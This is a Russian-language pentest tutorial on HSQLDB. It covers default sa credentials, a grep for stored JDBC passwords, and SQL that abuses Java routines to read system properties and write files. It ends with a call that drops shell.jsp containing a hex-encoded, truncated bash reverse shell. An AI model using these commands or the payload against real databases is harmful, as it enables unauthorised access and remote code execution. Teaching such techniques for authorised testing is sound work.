Пентест HSQLDB

Пентест HSQLDB

RESOLUTE ATTACK

Всем привет, сегодня мы познакомимся с базой данных HSQLDB, и посмотрим, как можно проводить пентест данной базы данных.

Основная информация

HSQLDB ( HyperSQL DataBase ) — это современный менеджер реляционных баз данных, который соответствует стандарту SQL: 2011 и спецификациям JDBC 4. Он поддерживает все основные функции и RDBMS. HSQLDB используется для разработки, тестирования и развертывания приложений баз данных.

Главная и уникальная особенность HSQLDB – Стандартное соответствие. Он может предоставлять доступ к базе данных в процессе приложения пользователя, на сервере приложений или в качестве отдельного процесса сервера.


В особенности HSQLDB входят:

1) Использует структуру в памяти для быстрой работы с сервером БД. Он использует постоянство диска в соответствии с гибкостью пользователя, с надежным восстановлением после сбоя.

2) Подходит для бизнес-аналитики, ETL и других приложений, которые обрабатывают большие наборы данных.

3) Имеет широкий спектр вариантов развертывания на предприятии, таких как транзакции XA, источники данных пула соединений и удаленная аутентификация.

4) Написан на языке программирования Java и работает на виртуальной машине Java (JVM). Он поддерживает интерфейс JDBC для доступа к базе данных.

Порт по умолчанию: 9001

9001/tcp open jdbc   HSQLDB JDBC (Network Compatibility Version 2.3.4.0)


PENTEST HSQLDB

При пентесте данной базы данных стоит обратить внимание на описанные далее пункты, и следовать примерно такому сценарию:

1) Настройки по умолчанию

В начале стоит обратить внимание на то, что данная служба по умолчанию, скорее всего, работает в памяти или привязана к локальному хосту. Если вы его нашли, вероятно, вы воспользовались другим сервисом и хотите повысить привилегии.

Учетные данные по умолчанию обычно sa и имеют пустой пароль.

Если вы воспользовались другой службой, постарайтесь найти возможные учетные данные, используя:

grep -rP 'jdbc:hsqldb.*пароль.*' /path/to/search

2) Сбор информации

Подключитесь к экземпляру БД, загрузив HSQLDB и распаковав файлы hsqldb/lib/hsqldb.jar. Запустите приложение с графическим интерфейсом (eww), используя java -jar hsqldb.jar, и подключитесь к экземпляру , используя обнаруженные/слабые учетные данные.

Обратите внимание, что URL-адрес подключения для удаленной системы будет выглядеть примерно так: jdbc:hsqldb:hsql://ip/DBNAME

Трюки

1) Java Language Routines

Мы можем вызывать статические методы класса Java из HSQLDB, используя подпрограммы языка Java. Обратите внимание, что вызываемый класс должен находиться в пути к классам приложения.

JRT могут быть functions или procedures. Функции можно вызывать с помощью операторов SQL, если метод Java возвращает одну или несколько примитивных переменных, совместимых с SQL. Они вызываются с помощью VALUES инструкции.

Если метод Java, который мы хотим вызвать, возвращает void, нам нужно использовать процедуру, вызываемую оператором CALL.

2) Чтение свойств системы Java

Создать функцию:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA

DETERMINISTIC NO SQL

EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Выполнить функцию:

VALUES(getsystemproperty('user.name'))


Также ознакомиться с остальными функциями вы сможете по ссылке.


3) Записать содержимое в файл

Вы можете использовать com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename гаджет Java, расположенный в JDK (автоматически загружаемый в путь к классам приложения), чтобы записывать элементы в шестнадцатеричном кодировании на диск с помощью пользовательской процедуры. Обратите внимание на максимальный размер 1024 байта.

Для создания процедуры используйте:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))

LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME

'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Выполнение процедуры:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))



На этом будем заканчивать, надеюсь эта статья была полезна для Вас. C любовью от RESOLUTE ATTACK!





Report Page